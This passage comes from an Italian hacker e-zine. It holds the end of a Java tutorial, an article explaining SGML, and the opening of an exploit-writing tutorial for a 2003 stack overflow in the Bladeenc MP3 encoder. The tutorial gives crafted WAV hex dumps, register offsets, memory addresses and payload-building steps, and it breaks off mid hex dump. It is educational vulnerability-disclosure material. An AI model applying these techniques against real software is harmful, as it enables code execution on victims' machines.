| se io richiamo il metodo pippo in questo modo pippo(); si riferirà ad |
| (1) mentre se richiamo il metodo in questo modo pippo(3) a (2). |
| |
| E arrivato il momento di parlare della tanto famigerata keyword |
| "static". In generale questa parola viene utilizzata per dichiarare i |
| metodi e gli attributi di classe, cioè quei membri che quando vengono |
| istanziati oggetti non si crea una copia in memoria per ognuno di essi, |
| ma solo uno che viene utilizzato da tutti. E importante sapere però |
| che |
| i metodi statici non possono richiamare membri non-statici, altrimenti |
| si otterrebbe un errore di compilazione. |
| |
| public class Conta{ |
| static int n; |
| ... |
| public void inc(){ |
| n++; |
| } |
| ... |
| } |
| |
| con il seguente siamo in grado di tenere conto di unindice che ci |
| permette di creare una sola variabile di classe per Conta ed |
| utilizzarla |
| appunto per contare sfruttando il metodo inc(). |
| |
| ... |
| Conta c = new Conta(); |
| c.inc(); |
| ... |
| |
| |
| Un'ultimo esempio che mostrerò in questo articolo è la creazione di una |
| lista. Una lista potrebbe essere vista come un'insieme di elementi |
| collegati in serie fra di loro tramite un puntatore |
| |
| +---------+ +---------+ +---------+ |
| | root |°| ----> | f0 |°|---->| f1 |°|----> ... -----> null |
| +---------+ +---------+ +---------+ |
| |
| |
| |
| //file item.java |
| |
| public class Item{ |
| private String nome; |
| private String cognome; |
| private String data_nascita; |
| private String residenza; |
| public static int x = 0; |
| public void setItem(String nome, |
| String cognome, String data_nascita, |
| String residenza){ |
| this.nome = nome; |
| this.cognome = cognome; |
| this.data_nascita = data_nascita; |
| this.residenza = residenza; |
| } |
| |
| public String getNome(){ |
| return nome; |
| } |
| |
| public String getCognome(){ |
| return cognome; |
| } |
| |
| public String getData_nascita(){ |
| return data_nascita; |
| } |
| |
| public String getResidenza(){ |
| return residenza; |
| } |
| |
| public void printItem(){ |
| System.out.print("Nome:\t\t\t" + nome); |
| System.out.print("\nCognome:\t\t" + cognome); |
| System.out.print("\nData di nascita:\t" + data_nascita); |
| System.out.print("\nResidenza:\t\t" + residenza + "\n"); |
| } |
| } |
| |
| |
| |
| //file items.java |
| |
| public class Items{ |
| private Item itm = new Item(); |
| public Items next; |
| public static int conta = -1; |
| private int id; |
| Items(){ |
| conta++; |
| id = conta; |
| } |
| public int getId(){ |
| return id; |
| } |
| public static int count(){ |
| System.out.println(conta); |
| return conta; |
| } |
| |
| public void add(Item itm){ |
| next = new Items(); |
| this.itm.setItem(itm.getNome(), |
| itm.getCognome(), itm.getData_nascita(), |
| itm.getResidenza()); |
| |
| } |
| |
| public void print(){ |
| System.out.println("\nID:" + this.id + ""); |
| itm.printItem(); |
| } |
| } |
| |
| |
| //file lista.java |
| |
| public class lista{ |
| public static void main(String[] args){ |
| Items i0 = new Items(); |
| Item itm = new Item(); |
| int i = 0; |
| |
| itm.setItem("Nome0", "Cognome0", "13/09/83", "Lucera"); |
| i0.add(itm); |
| |
| itm.setItem("Nome1", " Cognome1", "23/04/82", "S.Severo"); |
| i0.next.add(itm); |
| |
| itm.setItem("Nome2", " Cognome2", "07/10/84", "Foggia"); |
| i0.next.next.add(itm); |
| |
| i0.print(); |
| i0.next.print(); |
| i0.next.next.print(); |
| i0.count(); |
| } |
| } |
| |
| Ok.. siamo arrivati alla fine di questo articolo. Spero di essere stato |
| abbastanza chiaro e se troverò altro tempo, spiegherò altri argomenti |
| fondamentali dellOOP tipo lereditarietà, polimorfismo. |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 |
| C0S'E' SGML ?? PARLiAM0NE UN P0' [cyberdude] 0x13/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| -=|CYBERDUDE TUTORIAL|=- |
| |
| Ciao ragazzi... questo articolo che vi presento |
| non è molto utile ai fini pratici,ma non è |
| neanche molto difficile per quanto riguarda la |
| comprensione del testo in se per se! |
| A cosa serve? Bhe diciamo che conoscere qualcosa |
| non fa mai male... ad esempio, quanti di voi |
| sanno cosa voglia dire SGML? magari qualcuno tra |
| voi avrà pur sentito questa parola parlando con |
| altre persone e per non far vedere che non si |
| sapeva un bel niente di tale argomento vi |
| prestavate solo a muovere la testa dall'alto al |
| basso per far cenno di aver capito... |
| Vabbè ragazzi, non ci fate caso sto un pò esaurito |
| vediamo invece di cosa parleremo in questo |
| articolo |
| |
| - S - G - M - L - |
| |
| SGML (Standard Generalized Markup Language) è un |
| metalinguaggio per definire linguaggi di tipo |
| markup, ossia linguaggi basati su marcatori. |
| LHTML (HyperText Markup Language) è un esempio |
| di linguaggio derivato da SGML. SGML fornisce una |
| modalità di codifica dei documenti ipertestuali |
| in modo da renderli indipendenti dalla macchina |
| e dalla loro piattaforma software (purchè tali |
| software siano compatibili con SGML) affinchè |
| sia possibile leggere documenti creati da altri |
| anche se questi sono stati realizzati con |
| applicativi diversi dal nostro. |
| |
| SGML nacque principalmente per due motivi : |
| - Codifica indipendente dalla piattaforma |
| - Minimizzazione dei tempi di trasmissione |
| |
| Le principali caratteristiche di SGML sono: |
| · Permette la creazione di linguaggi markup di |
| tipo descrittivo |
| · I suoi elementi e componenti sono organizzati |
| in una struttura gerarchica con |
| interconnessioni |
| · Non specifica nessun tipo di convenzione del |
| markup, quindi è aperto ad ogni possibile |
| implementazione. |
| · E completamente specificato a livello formale |
| · Un documento SGML può essere facilmente letto |
| sia da un computer sia da una persona a patto |
| che entrambi conoscano lo standard. |
| |
| SGML utilizza dei codici (tags) per la |
| descrizione delle varie parti di un documento non |
| preoccupandosi di come questo sarà poi |
| rappresentato (lasciando la scelta delle modalità |
| di rappresentazione totalmente al software che |
| riprodurrà il testo) ma soltanto di specificare |
| che il testo tra le due tags deve essere |
| considerato come ununità indivisibile. |
| Quindi si separa la rappresentazione della |
| struttura del documento da tutte le istruzioni |
| necessarie alla sua formattazione, permettendo a |
| chi scrive un documento di concentrarsi soltanto |
| sulla sua struttura e sul suo contenuto |
| Un documento SGML può essere formato in alcune |
| sue parti da altri documenti già esistenti (ad |
| esempio può essere necessario un riferimento ad |
| uno di essi). Per evitare di riscrivere |
| completamente un documento esistente, che andrà |
| poi a costituire una parte del nuovo documento, |
| SGML prevede che esso possa essere richiamato |
| allinterno del nuovo documento (con un metodo |
| simile a quello dellistruzione INCLUDE del |
| linguaggio C) così da evitarne la riscrittura. |
| |
| Con SGML è possibile creare un proprio linguaggio |
| e quindi un proprio set di tags, la cui struttura |
| riflette quella dei documenti che dobbiamo creare |
| Ogni linguaggio creato a partire da SGML |
| utilizzerà la propria DTD (Document Type |
| Definition), contenente il proprio set di tags |
| necessario per la creazione dei propri documenti. |
| La DTD definisce la sintassi del linguaggio, |
| tutti gli attributi permessi per un particolare |
| elemento, i dati che questo potrà contenere e le |
| regole per il loro utilizzo. |
| La descrizione formale della struttura di un |
| documento avviene mediante la sua DTD, che è |
| richiesta per ogni linguaggio creato a partire |
| da SGML. Essa definisce la sintassi di un |
| linguaggio markup specificandone le convenzioni |
| utilizzate nei tags e tutti i possibili markup, |
| definendo il significato ed il contesto in cui |
| possono essere usati. |
| Il markup descrittivo è separato dal testo da |
| opportuni delimitatori di stringa (in HTML sono |
| i simboli < e >). La struttura dei documenti |
| SGML è quindi facilmente comprensibile, e risulta |
| evidente come sia semplice trasportare un |
| documento SGML da una piattaforma allaltra. |
| |
| Un documento SGML consiste in un gruppo di |
| elementi che sono: |
| |
| · Dichiarazione SGML |
| · DTD ( Document Type Definition ) |
| · Caratteristiche degli elementi della |
| DTD che compongono i documenti |
| · Riferimenti a files esterni (entità) |
| · Sezioni opzionali |
| |
| |
| Permette di alterare le convenzioni di markup |
| rispetto a quelle base. Di solito le |
| dichiarazioni SGML vengono poste in files |
| esterni al documento stesso (contenuti in |
| programmi detti browser) ed in questultimo |
| compare soltanto un riferimento alla |
| dichiarazione per permettere al browser di |
| interpretarlo correttamente. |
| DTD: Caratteristiche |
| E una descrizione formale della struttura di una |
| particolare classe di documenti. Tipicamente le |
| DTD sono usate per: |
| |
| · Stabilire le regole che governano la |
| struttura dei documenti, definendo così |
| il documento ufficiale. |
| · Formalizzare le convenzioni di markup |
| per permettere alle varie applicazioni |
| di poter analizzare i documenti |
| conformi a questa DTD. |
| · Permettere agli analizzatori sintattici |
| SGML di verificare se la struttura di |
| un documento è conforme allo standard. |
| · Dichiarare i tipi di dati esterni che |
| possono comparire nei documenti (entità) |
| |
| In sostanza la DTD definisce tutti gli elementi |
| di markup legali per un certo tipo di documento |
| stabilendo tutte le possibili opzioni di questi |
| markup ed il contesto in cui possono comparire. |
| Il nome o la locazione della DTD che governa un |
| certo documento conforme a SGML deve essere |
| specificato nella dichiarazione allinizio del |
| documento stesso. Un esempio di prologo SGML per |
| un documento HTML, la cui DTD è IETF HTML 2.0 |
| DTD è questo: |
| |
| <!DOCTYPE PUBLIC HTML -//IETF//DTD HTML 2.0//EN> |
| |
| Infatti il riferimento alla DTD usata deve essere |
| fatto con la dichiarazione SGML DOCTYPE. |
| |
| Ogni elemento nella DTD viene realizzato sulla |
| base della sua funzione nel documento SGML. I |
| vari elementi formano un albero creato dalla |
| combinazione di tutti gli elementi e dei loro |
| corrispondenti data models. |
| La sintassi di un elemento comprende il tag di |
| inizio contenente il nome (GI generic |
| identifier), il contenuto da visualizzare e la |
| terminazione mediante un tag di chiusura ed |
| eventualmente degli attributi che caratterizzano |
| tali elementi. |
| |
| Un attributo fornisce ad un elemento delle |
| informazioni specifiche sul suo uso in un |
| documento SGML, ossia fornisce una certa |
| proprietà ad un elemento. I nomi degli attributi |
| sono dichiarati nella DTD e sono opzionali per |
| gli elementi cui si riferiscono. Un nome di |
| attributo può essere usato da più elementi |
| diversi e, in ogni caso, darà informazioni |
| specifiche per lelemento cui è associato e non |
| comune agli altri. Ogni attributo ha un valore |
| dichiarato che deve essere anchesso definito |
| nella DTD. |
| In SGML (e quindi anche in HTML) la sintassi per |
| gli attributi segue le seguenti regole: |
| |
| · Gli attributi possono comparire solo |
| nei tags di inizio. |
| · In un documento SGML ogni attributo ha |
| il nome seguito dal segno = e dal |
| valore. |
| · I valori assegnati agli attributi |
| devono stare tra virgolette (es. |
| nomeattributo= valoreattributo). |
| · Gli attributi possono comparire in |
| qualsiasi ordine. |
| |
| Le Entità sono gruppi di dati immagazzinati in |
| opportuni files che vengono usati per spezzare |
| grossi files in parti più piccole e maneggevoli. |
| Il loro utilizzo riguarda limplementazione di |
| dati uguali in documenti diversi, e la protezione |
| dagli analizzatori sintattici di dati non SGML |
| consentendo di includerli in un documento |
| attraverso un riferimento. Sono anchessi |
| dichiarati nella DTD. |
| Infine vi sono le sezioni opzionali usate per |
| escludere opzionalmente parti del documento SGML |
| |
| Con questo si conclude il nostro articolo... |
| Saluto tutti voi alla prossima!! |
| |
| Cyberdude >>> www.area91.da.ru |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L'ANG0L0 DEGLi EXPL0iT #09 - 01/06/2003 |
| SCRiVERE UN EXPL0iT DiM0STRATiV0 [Auriemma Luigi] 0x14/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| ####################################################################### |
| |
| Titolo: Scrivere un exploit dimostrativo di esecuzione di codice su Win |
| Autore: Auriemma Luigi |
| e-mail: aluigi@pivx.com |
| web: http://www.pivx.com/luigi/ |
| |
| ####################################################################### |
| |
| |
| ============ |
| Introduzione |
| ============ |
| |
| |
| Quello che vorrei descrivere in questo articolo, altro non e' che un |
| modo (il piu' semplice possibile) per poter scrivere dei buoni proof |
| of concept per quelle vulnerabilita' che permettono di eseguire codice |
| su una macchina vittima. |
| La vulnerabilita' a cui mi riferisco dovra' avere come requisiti: |
| |
| - possibilita' di utilizzare qualsiasi byte (quindi anche NULL bytes) |
| - deve essere causata dalla lettura non controllata di bytes da un file |
| |
| L'ultimo requisito non e' indispensabile ma e' utile per sapere bene a |
| cosa ci si riferisce in questo articolo perche' l'esempio che proporro' |
| tratta proprio tale problema. |
| |
| Con il termine proof-of-concept intendo un exploit che dimostri che la |
| vulnerabilita' esiste davvero e per fare cio' di solito si cerca di far |
| eseguire al programma vulnerabile un'altra applicazione o (come uso io) |
| far apparire un messaggio di testo od un MessageBox. |
| |
| Per maggiore comprensione riporto come esempio il bug di Bladeenc |
| 0.94.2 (un encoder MP3 multipiattaforma) che ho scoperto e reso |
| pubblico a fine Gennaio 2003, riferendomi esattamente alla versione |
| i586 per Windows scaricabile da qui: |
| http://www2.arnes.si/~mmilut/BEnc-0942-Win-i586.zip |
| (l'MD5 di bladeenc.exe e' 957900f20fa2addff2c15d7ceb64b4cd) |
| |
| L'exploit verra' scritto per girare SOLO su Win98! Per gli altri |
| sistemi operativi Microsoft la procedura e' la stessa, l'unica |
| differenza riguarda gli indirizzi di memoria. |
| |
| Questo "tutorial" non e' stato scritto per persone che abbiano una |
| determinata conoscenza su tali nozioni ma vuole essere abbastanza |
| dettagliato e semplice in modo che chiunque sia minimamente interessato |
| all'argomento non si perda in esempi troppo complicati o in exploit |
| complessi che dipendono da vulnerabilita' ancor piu' complesse. |
| Dopotutto questo genere di exploit di cui parlo e' semplicissimo da |
| realizzare, quindi dopo la prima volta di solito ci vogliono pochi |
| minuti per scrivere un buon dimostrativo senza perderci troppo la |
| testa. |
| Ho preferito essere molto dettagliato con gli esempi e le spiegazioni |
| quindi il documento e' un po' lungo ma penso sia meglio qualche riga in |
| piu' invece che tralasciare qualcosa. |
| |
| |
| |
| ####################################################################### |
| |
| |
| ====================== |
| Cosa bisogna conoscere |
| ====================== |
| |
| |
| Trattandosi di un exploit di esecuzione di codice un requisito |
| fondamentale dovrebbe essere la conoscenza dell'Assembly, ma non c'e' |
| bisogno di conoscerlo a fondo. Dopotuto noi vogliamo un exploit |
| dimostrativo di buon effetto, in poco tempo e con poco lavoro mentale. |
| |
| I registri dei processori x86 che ci interessano al momento sono 2: |
| - EIP (puntatore all'istruzione successiva): esso punta alla posizione |
| del codice in memoria che dovremo eseguire. |
| - ESP (puntatore allo stack): esso punta alla zona dati in memoria. |
| |
| L'EIP ci servira' perche' dovremo sovrascriverlo con l'indirizzo della |
| zona di memoria in cui finira' il nostro codice che vorremo far |
| eseguire sul computer vittima. |
| L'ESP e' appunto il puntatore a questa zona di codice e tramite esso |
| sapremo dove e' finito il nostro codice. |
| |
| Per l'esecuzione del codice invece ci appoggeremo alle funzioni usate |
| dallo stesso programma, quindi anche senza conoscere bene l'Assembly ci |
| bastera' soltanto copiare la parte di codice del programma che ci |
| interessa (ad esempio quella di visualizzazione di una stringa) e |
| cambiare gli indirizzi che usa con quelli a nostra disposizione (ad |
| esempio l'indirizzo in memoria della stringa da visualizzare). |
| Naturalmente l'ultima cosa sara' terminare il programma, ma tutto cio' |
| verra' trattato nelle sezioni successive. |
| |
| |
| |
| ####################################################################### |
| |
| |
| ============= |
| Cosa ci serve |
| ============= |
| |
| |
| - Un disassemblatore: per sapere "cosa" fa' il programma. Esso e' utile |
| soprattutto nel momento in cui vogliamo copiare una funzione gia' |
| usata dal programma vulnerabile e riprodurla nel nostro codice. |
| - Editor esadecimale: essenziale... serve per modificare il file che |
| verra' letto dal programma vulnerabile |
| - Calcolatrice esadecimale: calc di Windows e' perfetta |
| - Bladeenc 0.94.2 i586 per Win: (guardare l'Introduzione) |
| |
| Opzionale: |
| - Un debugger: per poter "seguire" il codice e soprattutto conoscere il |
| valore dei registri x86 e soprattutto per poter scorrere la memoria |
| |
| Sia come disassemblatore che come debugger uso W32Dasm |
| (http://http://members.home.net/w32dasm/) con cui mi trovo molto bene |
| ed e' semplicissimo da usare. Da ricordare che e' SHAREWARE. |
| Come editor esadecimale, uno vale l'altro (XVI32 e' molto comodo e lo |
| si puo' trovare qui: http://www.chmaas.handshake.de) |
| |
| Comunque un debugger davvero eccellente e' il Turbo Debugger 5.5 di |
| Borland che e' free e puo' essere prelevato direttamente dalla mia |
| pagina personale: |
| |
| http://www.pivx.com/luigi/misc/td32-55.zip |
| |
| |
| |
| ####################################################################### |
| |
| |
| ======================================= |
| Primo passo (cosa non va' in Bladeenc?) |
| ======================================= |
| |
| |
| Il problema di Bladeenc e' nell'utilizzo di un numero intero con segno |
| anziche' di uno unsigned per poter leggere i dati in un file. |
| Cio' comporta che il programma dovra' leggere una porzione di dati ma |
| questa "porzione" potrebbe essere negativa, ossia invece di leggere 80 |
| bytes il programma dovra' leggerne -80. |
| |
| Il problema comunque non e' tanto in questa "svista" quanto nel non |
| controllare che qualcosa e' andato storto in lettura. |
| Nel file samplein.c di Bladeenc, alla funzione myFseek() linea 627 |
| troveremo un bel "fread (dummy, offset, 1, fp);" che non viene |
| controllato. |
| Difatti la funzione fread() ritorna il numero di bytes che sono stati |
| letti, e se essi sono 0 o minori dei bytes che si volevano leggere, |
| vuol dire che la lettura e' fallita o che semplicemente il file e' |
| terminato precocemente. |
| In questo caso e' meglio segnalare l'errore all'utente e far terminare |
| il programma immediatamente. |
| |
| Invece in tutto il programma non c'e' una sola funzione fread() (e |
| non solo essa) che venga controllata, quindi se volete cercare altri |
| bugs che comportino l'esecuzione di codice la cosa potrebbe rivelarsi |
| molto piu' semplice e veloce di quanto pensiate. |
| |
| Insomma avremo in mano un programma che continuera' a leggere |
| imperterrito dati dal file finche' uno di questi dati (una DWORD, ossia |
| 32 bits) sovrascrivera' l'indirizzo di ritorno della funzione |
| myFseek(). |
| Quindi l'ultima riga ("return 0; }") invece di ritornare all'istruzione |
| "fFmtChunkFound = TRUE;" che si trova alla riga 336 del file samplein.c |
| subito dopo la chiamata a myFseek(), ci portera' dritti dritti verso |
| l'indirizzo contenuto nella DWORD che e' stata letta dal file. |
| |
| Questo, grosso modo, e' cio' che accade per colpa di una lettura di |
| troppo e per risparmiare qualche millisecondo di tempo CPU e qualche |
| riga di codice. |
| |
| |
| |
| ####################################################################### |
| |
| |
| ====================================== |
| Secondo passo (preparare il file WAVE) |
| ====================================== |
| |
| |
| Siamo quasi pronti per iniziare, dobbiamo solo realizzare un file WAVE |
| minimale che possa essere letto da Bladeenc. |
| |
| Questo e' quello che ho usato io: |
| |
| 0000000: 5249 4646 cc12 0000 5741 5645 666d 7420 RIFFÌ...WAVEfmt |
| 0000010: ffff ffff ÿÿÿÿ |
| |
| La struttura di riferimento dei file WAVE e' la seguente: |
| |
| Offset Bytes Funzione |
| 0 4 GroupID: "RIFF" |
| 4 4 Group size: (di solito filesize - 8) |
| 8 4 Riff type: "WAVE" |
| 12 4 ChunkID (il "cattivo" in questo caso e' "fmt ") |
| 16 4 Chunk size: ossia l'"offset" usato in myFseek() |
| ... (il resto non ci interessa) |
| |
| Come possiamo vedere l'unico parametro da cambiare e' il Chunk size del |
| chunk "fmt " che e' proprio la variabile int offset usata dalla |
| funzione vulnerabile myFseek(). |
| |
| Ora non ci resta che aggiungere un po' di bytes al nostro file |
| possibilmente usando caratteri differenti che possano facilmente essere |
| individuabili quando dovremo girare nella memoria dello stack: |
| |
| Ad esempio: |
| |
| 0000000: 5249 4646 cc12 0000 5741 5645 666d 7420 RIFFÌ...WAVEfmt |
| 0000010: ffff ffff 7175 6573 7465 2072 6967 6865 ÿÿÿÿqueste righe |
| 0000020: 2073 6572 7669 7261 6e6e 6f20 6164 2069 serviranno ad i |
| 0000030: 6465 6e74 6966 6963 6172 6520 6920 6279 dentificare i by |
| 0000040: 7465 7320 6368 6520 6669 6e69 7261 6e6e tes che finirann |
| 0000050: 6f20 6e65 6c6c 6f20 7374 6163 6b20 6564 o nello stack ed |
| 0000060: 2069 6e20 7061 7274 6963 6f6c 6172 6520 in particolare |
| 0000070: 6120 6368 6520 706f 7369 7a69 6f6e 6520 a che posizione |
| 0000080: 7369 2074 726f 7661 206c 6120 4457 4f52 si trova la DWOR |
| 0000090: 4420 6368 6520 736f 7672 6173 6372 6976 D che sovrascriv |
| 00000a0: 6572 6127 206c 2745 4950 2c20 7475 7474 era' l'EIP, tutt |
| 00000b0: 6f20 6368 6961 726f 3f90 9090 9090 9090 o chiaro?....... |
| ....(aggiungete almeno 300 bytes, insomma abbondare non fa' mai male in |
| questo caso) |
| |
| Personalmente quando ho dovuto creare il primo exploit per questo bug |
| ho usato un normale file wave grande 5 Kb (difatti il Groupsize 0x12cc |
| appartiene ad un file wave di 4820 Kb) che ho trovato casualmente nel |
| mio Hard-disk. |
| |
| |
| |
| ####################################################################### |
| |
| |
| ========================================================= |
| Terzo passo (debugging: EIP ed ESP in memoria e sul file) |
| ========================================================= |
| |
| |
| Finalmente si inizia. |
| Abbiamo una minima conoscenza di cosa va' storto in Bladeenc, abbiamo |
| un file wave che fa' comparire il problema, ora cio' che ci manca sono |
| gli indirizzi EIP ed ESP ed i loro "corrispettivi" nel file wave. |
| |
| IMPORTANTE: |
| Questo esempio si basa SOLO su Windows98 in quanto l'ESP cambia da un |
| sistema operativo all'altro (non ci sono differenze tra Win98 prima |
| edizione e special edition). |
| Per gli altri sistemi operativi Microsoft la procedura e' la stessa, |
| l'unica differenza riguarda appunto gli indirizzi di memoria. |
| |
| Come e' stato detto nel "Primo Passo" nel file wave c'e' la DWORD che |
| verra' usata come indirizzo di ritorno dalla funzion myFseek(). |
| |
| Eseguiamo il programma: |
| |
| bladeenc file.wav |
| |
| Se usiamo Win98 comparira' la classica schermata di errore critico con |
| tanto di dump dei valori dei registri del processore. |
| Eccoli tutti quanti: |
| |
| -------------------------------------------------------- |
| BLADEENC ha provocato un errore di pagina non valida nel |
| modulo <sconosciuto> in 0000:63636363. |
| Registri: |
| EAX=00000000 CS=0167 EIP=63636363 EFLGS=00010202 |
| EBX=61616161 SS=016f ESP=0069e888 EBP=007c0770 |
| ECX=00000057 DS=016f ESI=62626262 FS=120f |
| EDX=000001c1 ES=016f EDI=004268a0 GS=0000 |
| Byte all'indirizzo CS:EIP: |
| |
| Immagine dello stack: |
| 64646464 65656565 66666666 67676767 |
| 68686868 69696969 70707070 71717171 |
| 72727272 73737373 74747474 75757575 |
| 76767676 77777777 78787878 79797979 |
| -------------------------------------------------------- |
| |
| Ottimo stavolta siamo stati abbastanza fortunati in quanto il nostro |
| codice si trova proprio dove punta ESP, ma altre volte ci tocchera' |
| spendere 2 minuti in piu' col debugger. |
| |
| Quello che ci interessa e': |
| |
| EIP=63636363 (in quanto io ho usato "cccc") |
| ESP=0069e888 |
| Immagine dello stack: 64646464 65656565 66666666 67676767... |
| |
| Ricordatevi che i processori x86 sono 32bit little-endian, quindi i |
| caratteri che avete usato nel file, in memoria si trovano capovolti di |
| 4 in 4 (ad esempio: "ciao" diventa "oaic", "1234" diventa "4321", |
| "ciccione" diventa "ccicenoi" e cosi' via) |
| |
| L'EIP ci fa' capire dove si trovano i bytes interessati nel nostro file |
| wave, ossia all'indirizzo 0x00000130 (in quanto proprio a quella |
| posizione c'e' "cccc"). |
| ESP, da come si puo' vedere, punta direttamente ai bytes del nostro |
| file che sono finiti in memoria, nulla di piu' facile 8-) |
| Tali bytes iniziano dall'offset 0x00000134 del nostro file wave, |
| proprio subito dopo l'EIP. |
| |
| Ricapitolando, ora abbiamo: EIP, ESP e posizione nel file del codice |
| dimostrativo da eseguire. |
| |
| |
| |
| ####################################################################### |
| |
| |
| ======================================= |
| Se il debugger e' d'obbligo (opzionale) |
| ======================================= |
| |
| |
| Nel caso specifico di Bladeenc non e' necessario usare un debugger in |
| quanto la semplice schermata di errore critico di Win98 ha gia' tutto |
| cio' che ci serve. |
| Se invece nell'immagine dello stack non riconosciamo nessuno dei bytes |
| che abbiamo nel file o piu' semplicemente vogliamo fare un lavoro fatto |
| bene e controllare che tutto sia a posto, dobbiamo avviare il nostro |
| debugger preferito o comunque poter vedere e scorrere la memoria che e' |
| intorno allo stack pointer (0x0069e888 appunto) |
| |
| Usando Wdasm32 non dovremo far nient'altro che lanciare il debug di |
| Bladeenc tramite "Debug->Load Process" inserendo il percorso del nostro |
| file wave. |
| |
| Continuiamo l'esecuzione del programma tramite Run (F9) finche' non ci |
| si para davanti un MessageBox che ci avverte di una "eccezione" e ci |
| mostra l'indirizzo EIP corrente dove si e' verificato il problema. |
| |
| Ora invece di dare il SI od il NO al MessageBox di errore che e' |
| comparso dobbiamo prima mettere in pausa l'esecuzione del programma |
| con il tasto Step Over (F8) o Step Into (F7). Dopodiche' selezioniamo |
| il NO. (NON usate il bottone Pause!) |
| |
| Perfetto abbiamo la posizione di EIP nel nostro file wave che e' |
| 0x00000130 e possiamo vedere nella finestra di W32Dasm a sinistra che |
| dall'indirizzo ESP (0x0069e888) ci sono tutti i bytes che partono da |
| dopo l'indirizzo EIP nel file (ossia da 0x00000134 in poi). |
| |
| Se avete il debugger davanti agli occhi e Win98 dovreste ritrovarvi |
| i miei stessi valori. |
| |
| Se invece dove c'e' [ESP+00000000] non c'e' nessun byte presente nel |
| nostro file, vuol dire che dobbiamo scorrere in giu' con PGDOWN la |
| memoria dello stack (quindi da [ESP+00000004] in poi). |
| |
| Prima o poi troveremo i nostri bytes ed a quel punto non dovremo far |
| nient'altro che eseguire una breve somma, ossia [ESP+indirizzo_bytes]. |
| Il risultato di tale addizione dovra' essere considerato come un |
| "nuovo" indirizzo ESP (per farla breve e' l'indirizzo di memoria dove |
| inizia il nostro codice quanto viene caricato in memoria e che per |
| comodita' preferisco considerarlo come un nuovo indirizzo ESP). |
| |
| Vi assicuro che e' molto piu' difficile da spiegare che da eseguire. |
| |
| |
| |
| ######################
################################################# |
| |
| |
| ===================================== |
| Quarto passo (gli ultimi preparativi) |
| ===================================== |
| |
| |
| Ci servono le ultime 2 cose per poter scrivere il nostro codice: |
| |
| - una funzione che visualizzi un messaggio |
| - una funzione per terminare il programma |
| |
| La prima funzione si puo' trovare con un debugger oppure guardando il |
| listato Assembly del programma. |
| Difatti in tutti (o quasi) i programmi c'e' una funzione che mostra a |
| video una stringa se si tratta di un programma per console o di un |
| MessageBox o simile se usa le API di Windows. |
| |
| Il nostro caso vede l'utilizzo di una stringa per console quindi |
| affrettiamoci a trovare una funzione che faccia cio' all'interno del |
| programma. |
| |
| Ci sono diversi metodi per trovarla: |
| |
| - il disassemblatore se e' "serio" ci mostrera' tutte le stringhe che |
| vengono richiamate da ogni funzione di visualizzazione |
| - con l'editor esadecimale troviamo una stringa che sappiamo verra' |
| visualizzata e prendiamo l'offset del primo carattere (che e' sempre |
| preceduto da un byte NULL). |
| Dopodiche' con un semplice convertitore real->virtual address |
| ricaveremo l'indirizzo che tale stringa assumera' in memoria quando |
| il programma verra' eseguito. |
| Non e' compito di questo articolo descrivere l'utilizzo di un |
| programma simile, comunque RVA |
| (http://linux20368.dn.net/protools/files/utilities/rva.zip) vi sara' |
| di prezioso aiuto. |
| |
| La funzione da "copiare" che ci servira' per Blade la troviamo |
| all'indirizzo 0x0040c9e0, dove viene chiamata piu' volte per poter |
| visualizzare diverse linee di testo. |
| Quello che fa' e' semplicissimo in quanto e' un fprintf(): |
| |
| - 0x0040c9e0: carica, all'indirizzo puntato da ESP, il puntatore alla |
| stringa che vogliamo visualizzare |
| - 0x0040c9e7: mette su EAX il puntatore che si trova a 0x00461240 |
| (penso che riguardi la specificazione di stdout) |
| - 0x0040c9ec: crea un puntatore ad EAX all'indirizzo ESP+4 |
| - 0x0040c9f0: finalmente chiama la funzione di visualizzazione |
| |
| Dopodiche' dobbiamo trovare la funzione per terminare il programma e |
| qui ci viene in aiuto KERNEL32.ExitProcess che si trova all'indirizzo |
| 0x00414be0 ed e' uguale ai bytes: ff1524d04100. |
| |
| |
| |
| ####################################################################### |
| |
| |
| ============================================ |
| Quinto passo (impastiamo gli ingredienti...) |
| ============================================ |
| |
| |
| Finalmente abbiamo tutti gli "ingredienti", quindi dobbiamo solo creare |
| l'impasto che nel nostro caso e' il file wave con il codice da eseguire |
| sulla macchina vittima. |
| |
| Per nostra fortuna la semplicita' delle operazioni non comporta |
| l'utilizzo di alcun assembler, quindi dobbiamo solo utilizzare una |
| calcolatrice esadecimale (calc di Win ad esempio) per calcolare gli |
| indirizzi delle stringhe o delle funzioni da chiamare. |
| |
| Per prima cosa pero' inziamo col preparare il nostro file wave nel |
| seguente modo: |
| |
| - all'offset 0x00000130 del nostro file (dove viene sovrascritto l'EIP) |
| inseriremo l'indirizzo di ESP o comunque l'indirizzo dove inizia il |
| nostro codice in memoria (ossia 0x0069e888). |
| IMPORTANTE: i processori x86 utilizzano il metodo little-endian |
| quindi qualsiasi indirizzo andra' scritto invertendo i 4 bytes: |
| 0x0069e888 --> 0x88e86900 |
| - copiamo tutti i bytes che vanno da 0x0040c9e0 a 0x0040c9f5 nel nostro |
| file partendo dall'offset 0x00000134 |
| - copiamo i bytes per terminare l'applicazione: ff1524d04100 |
| - scriviamo un messaggio di qualsiasi lunghezza che termini con un byte |
| NULL finale |
| - puliamo tutto il resto del file usando il byte 0x90 che corrisponde |
| al NOP (no operation, serve per occupare spazio senza eseguire nulla) |
| |
| Il nostro file wave ora dovrebbe essere simile a questo: |
| |
| 0000000: 5249 4646 cc12 0000 5741 5645 666d 7420 RIFF....WAVEfmt |
| 0000010: ffff ffff 9090 9090 9090 9090 9090 9090 ................ |
| 0000020: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000030: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000040: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000050: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000060: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000070: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000080: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000090: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000a0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000b0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
